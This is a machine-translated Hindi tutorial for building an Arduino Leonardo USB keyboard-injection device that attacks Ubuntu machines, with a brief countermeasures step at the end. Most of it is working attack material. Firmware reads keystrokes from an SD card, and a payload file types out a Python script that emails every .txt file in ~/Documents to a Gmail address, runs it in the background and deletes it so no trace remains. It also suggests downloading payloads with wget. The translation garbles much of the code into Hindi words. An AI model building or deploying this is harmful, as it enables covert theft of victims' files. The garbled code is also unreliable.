विषयसूची:

Arduino कीबोर्ड एक्सप्लॉइट डेमो (HID) और रोकथाम: 4 चरण (चित्रों के साथ)
Arduino कीबोर्ड एक्सप्लॉइट डेमो (HID) और रोकथाम: 4 चरण (चित्रों के साथ)

वीडियो: Arduino कीबोर्ड एक्सप्लॉइट डेमो (HID) और रोकथाम: 4 चरण (चित्रों के साथ)

वीडियो: Arduino कीबोर्ड एक्सप्लॉइट डेमो (HID) और रोकथाम: 4 चरण (चित्रों के साथ)
वीडियो: अरुडिनो मास्टरक्लास | 90 मिनट में पूर्ण प्रोग्रामिंग कार्यशाला! 2024, जुलाई
Anonim
Image
Image
डिवाइस का निर्माण
डिवाइस का निर्माण

इस परियोजना में हम HID (ह्यूमेन इंटरफ़ेस डिवाइस) का उपयोग करके एक संभावित USB हमले का अनुकरण करने के लिए एक arduino leonardo का उपयोग करने जा रहे हैं।

मैंने यह ट्यूटोरियल हैकर्स की मदद करने के लिए नहीं बल्कि आपको कुछ वास्तविक खतरों को दिखाने और उन खतरों से खुद को बचाने के लिए बनाया है। यह डिवाइस यह एक ऐसा उपकरण नहीं है जिसे हैकर्स के लिए किसी भी प्लेटफॉर्म पर इस्तेमाल किया जा सकता है, यह विस्तार से अवधारणा का प्रमाण है।

हम निम्नलिखित सीखने जा रहे हैं:

- कीबोर्ड का अनुकरण करने के लिए आर्डिनो लियोनार्डो का उपयोग कैसे करें

- एसडी कार्ड से डेटा कैसे पढ़ें

- एक पायथन स्क्रिप्ट कैसे बनाएं जो फाइलों को स्कैन करे और उन्हें ईमेल करे

- यूएसबी हैकिंग उपकरणों से खुद को कैसे बचाएं

चरण 1: सामग्री

भाग:

1. अरुडिनो लियोनार्डो

2. माइक्रो यूएसबी कार्ड रीडर

3. कुछ जीबी एसडी कार्ड

4. इस तरह पुशबटन (वीसीसी, ग्राउंड और सिग्नल)

5. महिला-पुरुष और महिला-महिला जम्पर केबल

6. माइक्रो यूएसबी से यूएसबी केबल

चरण 2: डिवाइस का निर्माण

डिवाइस का निर्माण
डिवाइस का निर्माण

भवन निर्देश से पहले आइए कार्य सिद्धांत की समीक्षा करें:

Arduino लियोनार्डो मानव इंटरफ़ेस डिवाइस (HID) की तरह व्यवहार कर सकता है और इसलिए माउस और कीबोर्ड का अनुकरण कर सकता है। हम इस सुविधा का उपयोग एक टर्मिनल (UBUNTU linux में) खोलने के लिए करने जा रहे हैं और एक छोटी सी स्क्रिप्ट लिखेंगे जो उपयोगकर्ता के होम फोल्डर के अंदर /Documents फोल्डर को एक्सेस करेगी। वहां.txt फाइलों को कॉपी करेगी और उन्हें किसी को ईमेल करेगी। यदि आप अधिक विवरण जानना चाहते हैं तो अगला चरण देखें।

क्योंकि यह एक डेमो डिवाइस है, चीजें वास्तव में सरल हैं, हम कुछ भी मिलाप नहीं करने जा रहे हैं।

निर्माण निर्देश

इससे पहले कि हम संलग्न फाइलों की जांच शुरू करें, मैंने फ्रिटिंग स्कीमैटिक्स, और सभी आवश्यक फाइलें संलग्न की हैं

1. घटकों को इकट्ठा करो:

* माइक्रो USB केबल को arduino में प्लग करें

* कुंजी स्विच को arduino (ग्राउंड, vcc और आउट मॉड्यूल से D8) से कनेक्ट करें

* कार्ड रीडर को arduino (ICSP हेडर का उपयोग करके) से कनेक्ट करें। Arduino leonardo में ICSP हेडर डिजिटल पिन से जुड़ा नहीं है, इसलिए आपको कार्ड रीडर को ICSP हेडर से कनेक्ट करना होगा। आप आईसीएसपी के कुछ चित्र यहां देख सकते हैं: https://learn.sparkfun.com/tutorials/installing-an… । एसएस पिन को डिजिटल पिन से कनेक्ट करें 10

2. Arduino कोड प्राप्त करें, आप github पर मेरे arduino रिपॉजिटरी को क्लोन कर सकते हैं: https://github.com/danionescu0/arduino और प्रोजेक्ट्स/कीबोर्ड_एक्सप्लॉइट पर जाएं या इसे नीचे से प्राप्त करें:

#शामिल "कीबोर्ड.एच"

#include "SPI.h" #include "SD.h" String filenameOnCard = "hack.txt"; स्ट्रिंग स्लीप कमांडस्टार्टिंगपॉइंट = "स्लीप::"; स्ट्रिंग कमांडस्टार्टिंगपॉइंट = "कमांड::"; int देरी के बीच कमांड = 10; कॉन्स्ट इंट बटनपिन = 8; कॉन्स्ट इंट चिपसेलेक्ट = 10; इंट पिछलाबटनस्टेट = हाई; शून्य सेटअप () {पिनमोड (बटनपिन, इनपुट); सीरियल.बेगिन (९६००); कीबोर्ड.बेगिन (); if (!SD.begin(chipSelect)) { Serial.println ("कार्ड विफल, या मौजूद नहीं!"); वापसी; } } शून्य लूप () { इंट बटनस्टेट = डिजिटल रीड (बटनपिन); अगर ((बटनस्टेट! = पिछलाबटनस्टेट) && (बटनस्टेट == हाई)) {sdFileToKeyboard (); Serial.println ("अपलोड किया गया!"); देरी (500); } पिछलाबटनस्टेट = बटनस्टेट; } शून्य sdFileToKeyboard () {फ़ाइल डेटाफाइल = एसडी.ओपन (फ़ाइल नामऑनकार्ड); if (!dataFile) { Serial.println ("निर्दिष्ट फ़ाइल नाम एसडी कार्ड पर मौजूद नहीं है, फ़ाइल नामऑनकार्ड जांचें!"); } स्ट्रिंग लाइन; जबकि (डेटाफाइल.उपलब्ध ()) {लाइन = डेटाफाइल.रीडस्ट्रिंग तक ('\ n'); सीरियल.प्रिंट्लन (लाइन); SendToKeyboard (लाइन); } डेटाफाइल.क्लोज़ (); } शून्य भेजें टोकेबोर्ड (स्ट्रिंग लाइन) {स्ट्रिंग वर्किंगलाइन = लाइन; अगर (WorkingLine.indexOf (sleepCommandStartingPoint)! = -1) {स्लीपफॉर (लाइन); वापसी; } अगर (WorkingLine.indexOf(commandStartingPoint) == -1) {Serial.print("Text:");Serial.println(line); Keyboard.println (लाइन); एंटर दबाए(); वापसी; } Serial.println ("कमांड:"); int charPosition = commandStartingPoint.length (); इंट लाइनलेंथ = लाइन.लेंथ (); वर्किंगलाइन + = "," "; जबकि (वर्किंगलाइन! = "") {वर्किंगलाइन = वर्किंगलाइन। सबस्ट्रिंग (चारपोजिशन); Serial.print("WorkingLine:"); Serial.println(WorkingLine); int SpecialCommandDelimiterPosition = WorkingLine.indexOf ("", "); स्ट्रिंग कमांड = वर्किंगलाइन। सबस्ट्रिंग (0, स्पेशल कमांड डिलीमीटर पोजीशन); charPosition = SpecialCommandDelimiterPosition + 1; अगर (कमांड! = "") { Serial.print ("कमांड मिला:"); Serial.println (कमांड); कीबोर्ड.प्रेस (getCommandCode (कमांड)); देरी (कमांड के बीच देरी); } } कीबोर्ड.रिलीज ऑल (); देरी (कमांड के बीच देरी); } शून्य प्रेस एंटर () {कीबोर्ड.प्रेस (KEY_RETURN); कीबोर्ड.रिलीज ऑल (); } शून्य नींद के लिए (स्ट्रिंग लाइन) {इंट स्लीपअमाउंट = लाइन। सबस्ट्रिंग (स्लीपकॉमैंडस्टार्टिंगपॉइंट। लम्बाई (), लाइन। लम्बाई ())। toInt (); Serial.print("स्लीपिंग फॉर:");Serial.println(sleepAmount); देरी (नींद राशि); } चार getCommandCode (स्ट्रिंग टेक्स्ट) {चार टेक्स्ट कैरेक्टर [2]; text.toCharArray(textCharacters, 2); चार कोड = टेक्स्ट कैरेक्टर [0]; कोड = (पाठ == "KEY_LEFT_CTRL")? KEY_LEFT_CTRL: कोड; कोड = (पाठ == "KEY_LEFT_SHIFT")? KEY_LEFT_SHIFT: कोड; कोड = (पाठ == "KEY_LEFT_ALT")? KEY_LEFT_ALT: कोड; कोड = (पाठ == "KEY_UP_ARROW")? KEY_UP_ARROW: कोड; कोड = (पाठ == "KEY_DOWN_ARROW")? KEY_DOWN_ARROW: कोड; कोड = (पाठ == "KEY_LEFT_ARROW")? KEY_LEFT_ARROW: कोड; कोड = (पाठ == "KEY_RIGHT_ARROW")? KEY_RIGHT_ARROW: कोड; कोड = (पाठ == "KEY_RIGHT_GUI")? KEY_RIGHT_GUI: कोड; कोड = (पाठ == "KEY_BACKSPACE")? KEY_BACKSPACE: कोड; कोड = (पाठ == "KEY_TAB")? KEY_TAB: कोड; कोड = (पाठ == "KEY_RETURN")? KEY_RETURN: कोड; कोड = (पाठ == "KEY_ESC")? KEY_ESC: कोड; कोड = (पाठ == "KEY_INSERT")? KEY_INSERT: कोड; कोड = (पाठ == "KEY_DELETE")? KEY_DELETE: कोड; कोड = (पाठ == "KEY_PAGE_UP")? KEY_PAGE_UP: कोड; कोड = (पाठ == "KEY_PAGE_DOWN")? KEY_PAGE_DOWN: कोड; कोड = (पाठ == "KEY_HOME")? KEY_HOME: कोड; कोड = (पाठ == "KEY_END")? KEY_END: कोड; कोड = (पाठ == "KEY_CAPS_LOCK")? KEY_CAPS_LOCK: कोड; कोड = (पाठ == "KEY_F1")? KEY_F1: कोड; कोड = (पाठ == "KEY_F2")? KEY_F2: कोड; कोड = (पाठ == "KEY_F3")? KEY_F3: कोड; कोड = (पाठ == "KEY_F4")? KEY_F4: कोड; कोड = (पाठ == "KEY_F5")? KEY_F5: कोड; कोड = (पाठ == "KEY_F6")? KEY_F6: कोड; कोड = (पाठ == "KEY_F7")? KEY_F7: कोड; कोड = (पाठ == "KEY_F8")? KEY_F8: कोड; कोड = (पाठ == "KEY_F9")? KEY_F9: कोड; कोड = (पाठ == "KEY_F10")? KEY_F10: कोड; कोड = (पाठ == "KEY_F11")? KEY_F1: कोड; कोड = (पाठ == "KEY_F12")? KEY_F2: कोड;

वापसी कोड;

}

3. कोड को arduino पर अपलोड करें, 9600 बॉड दर, सीरियल पोर्ट और arduino leonardo का चयन करना सुनिश्चित करें

4. FAT16 या FAT32. का उपयोग करके एसडी कार्ड को फॉर्मेट करें

5. यदि आपने ऊपर से जीथब रेपो को क्लोन किया है, तो हैक.txt फ़ाइल को कार्ड पर कॉपी करें, यदि नहीं तो फ़ाइल नीचे सूचीबद्ध है:

Command::KEY_LEFT_CTRL, KEY_LEFT_ALT, tSleep::500 vi hack.py Sleep::300 Command::KEY_INSERT इम्पोर्ट smtplib इम्पोर्ट ग्लोब, ओएस os.path से os.path से ईमेल से एक्सपेंडर इंपोर्ट करें। MIMEText ईमेल से MIMEText आयात करता है। COMMASPACE आयात करता है, ईमेल आयात एन्कोडर से स्वरूपित करता है

smtp_user = 'sender_gmail_address'

smtp_pass = 'sender_gmail_password' to_address = 'receiver_address' scan_documents_location = 'दस्तावेज़'

विषय = मुख्य भाग = 'हैक किए गए कंप्यूटर से फ़ाइलें'

शीर्षलेख = 'प्रति:{0}\nप्रेषक: {1}\nविषय: {2}\n'.format(to_address, smtp_user, विषय)

def SendMail (से, विषय, पाठ, फ़ाइलें = ):

msg = MIMEMultipart() msg['From'] = smtp_user msg['To'] = COMMASPACE.join(to) msg['Date'] = formatdate(localtime=True) msg['Subject'] = विषय msg.attach (MIMEText(text)) फाइलों में फाइल के लिए: part = MIMEBase('application', "octet-stream") part.set_payload(open(file, "rb").read()) Encoders.encode_base64(part) part। add_header('Content-Disposition', 'attachment; filename="%s"' % os.path.basename(file)) msg.attach(part)

सर्वर = smtplib. SMTP ('smtp.gmail.com:587')

server.starttls() server.login(smtp_user, smtp_pass) server.sendmail(smtp_user, to, msg.as_string()) server.quit()

sendMail([to_address], विषय, मुख्य भाग, glob.glob("{0}/{1}/*.txt".format(expanduser("~"), scan_documents_location)))

स्लीप:: 50 कमांड:: KEY_ESC स्लीप:: 100: x स्लीप:: 500 नोहप अजगर hack.py और स्लीप:: 700 आरएम -आरएफ हैक.पी स्लीप:: 400 कमांड:: KEY_LEFT_ALT, KEY_F4

6. निम्नलिखित पंक्तियों को संपादित करें:

smtp_user = 'sender_email_addr'

smtp_pass = 'sender_password' to_address = 'receiver_address'

और अपने ईमेल पतों से बदलें

7. कार्ड निकालें और इसे arduino कार्ड रीडर में डालें

चरण 3: यह विवरण में कैसे काम करता है

कैसे काम करेगा हमला:

1. जब बटन दबाया जाता है, लियोनार्डो एसडी कार्ड रीडर का उपयोग करके एसडी कार्ड पढ़ेगा। कार्ड पर चाबियों और कुंजी संयोजन वाली एक विशेष फाइल मौजूद होगी। फ़ाइल का नाम "hack.txt" है।

फ़ाइल में कच्चा पाठ हो सकता है, और यह जैसे है वैसे ही कीबोर्ड को पास कर दिया जाएगा।

साथ ही इसमें "स्लीप::" और "कमांड::" जैसे विशेष कमांड हो सकते हैं।

एक पंक्ति जैसे:

नींद::200 का मतलब है 200 एमएस. की नींद

एक पंक्ति जैसे:

कमांड:: KEY_LEFT_CTRL, KEY_LEFT_ALT, t का अर्थ है बायाँ ctrl दबाया गया, बायाँ alt दबाया गया, t दबाया गया और सभी जारी किए गए

आप यहां सभी विशेष कुंजियों की जांच कर सकते हैं:

2. लियोनार्डो लाइन दर लाइन पढ़ेगा, और कमांड की व्याख्या करेगा और कीबोर्ड पर कीज़ का अनुकरण करेगा। फ़ाइल "hack.txt" में कुंजियों का एक संयोजन होता है जो निम्न कार्य करता है (UBUNTU linux के लिए):

ए। एक टर्मिनल खोलता है (CTRL + ALT + T)

बी। vi का उपयोग करके निर्माण के लिए एक अजगर फ़ाइल खोलता है ("vi hack.py" लिखता है

सी। अंदर एक अजगर स्क्रिप्ट लिखता है जो दस्तावेजों के होम फोल्डर के अंदर सभी टेक्स्ट फाइलों को इकट्ठा करता है और उन्हें एक निर्दिष्ट जीमेल पते पर भेजता है

डी। फ़ाइल को पृष्ठभूमि में चलाता है ("nohup python hack.py &")

इ। फ़ाइल को हटाता है (rm -rf hack.py)

एफ। टर्मिनल बंद कर देता है (ALT + F4)

यह सब कुछ चंद सेकेंड में चलता है और कोई निशान नहीं छोड़ता।

संवर्द्धन और समस्या निवारण

* आपने देखा होगा कि टर्मिनल खोलने के बाद मैं अजगर फाइल लिख रहा हूं। इसका एक बेहतर तरीका यह होगा कि इसे कहीं पर होस्ट किया जाए और "wget some_url" कमांड का उपयोग करके इसे डाउनलोड किया जाए, फिर इसका नाम बदलकर hack.py कर दिया जाए।

* इसके अलावा, हम लक्षित ऑपरेटिंग सिस्टम के लिए तैयार किए गए शोषण को डाउनलोड या चला सकते हैं

* वाईफाई को मॉड्यूल में जोड़ा जा सकता है, और हैक को वाईफ़ाई के माध्यम से अपलोड किया जा सकता है

* आप arduino micro (जो बहुत छोटा है) का उपयोग कर सकते हैं और उस पर शोषण कोड एम्बेड कर सकते हैं (इसे छोटा करने के लिए)

सीमाओं

1. चूंकि सिम्युलेटेड डिवाइस (कीबोर्ड और माउस) में कोई फीडबैक नहीं होता है, इसलिए हमें नहीं पता कि कमांड जारी करने के बाद क्या होगा, इसका मतलब है कि हमें देरी का उपयोग करने की आवश्यकता है। उदाहरण के लिए मैं टर्मिनल खोलने के लिए एक आदेश जारी कर रहा हूं, लेकिन मुझे नहीं पता कि यह वास्तव में कब खुला होगा, इसलिए मुझे यह सुनिश्चित करने के लिए मनमाने ढंग से देरी निर्दिष्ट करने की आवश्यकता है कि टाइप किए गए वर्ण खो नहीं जाएंगे।

2. हमें यूएसबी पोर्ट तक पहुंच न होने या कुछ स्थापित करने की अनुमति जैसी अनुमति समस्याओं का सामना करना पड़ सकता है

3. लियोनार्डो पर टाइपिंग की गति इतनी अच्छी नहीं है

4. केवल एक लक्षित ऑपरेटिंग सिस्टम पर काम करेगा (हमारे मामले में UBUNTU linux)

अगले चरण में हम अपने कंप्यूटर को हैक होने से बचाने के लिए इस सीमा का फायदा उठाने के तरीके खोजने की कोशिश करेंगे

चरण 4: काउंटरमेशर्स

1. यूएसबी पोर्ट अक्षम करना

- विंडोज़ के लिए आप इस ट्यूटोरियल को देख सकते हैं:

2. श्वेतसूची यूएसबी डिवाइस:

- विंडोज़ के लिए:

2. जब आप दूर न हों तो अपना कंप्यूटर लॉक करें

3. रूट के रूप में लॉगिन न करें (कुछ भी स्थापित करने के लिए पासवर्ड की आवश्यकता होती है)

4. अपने आप को अप टू डेट रखें (स्वचालित अपडेट चालू)

सिफारिश की: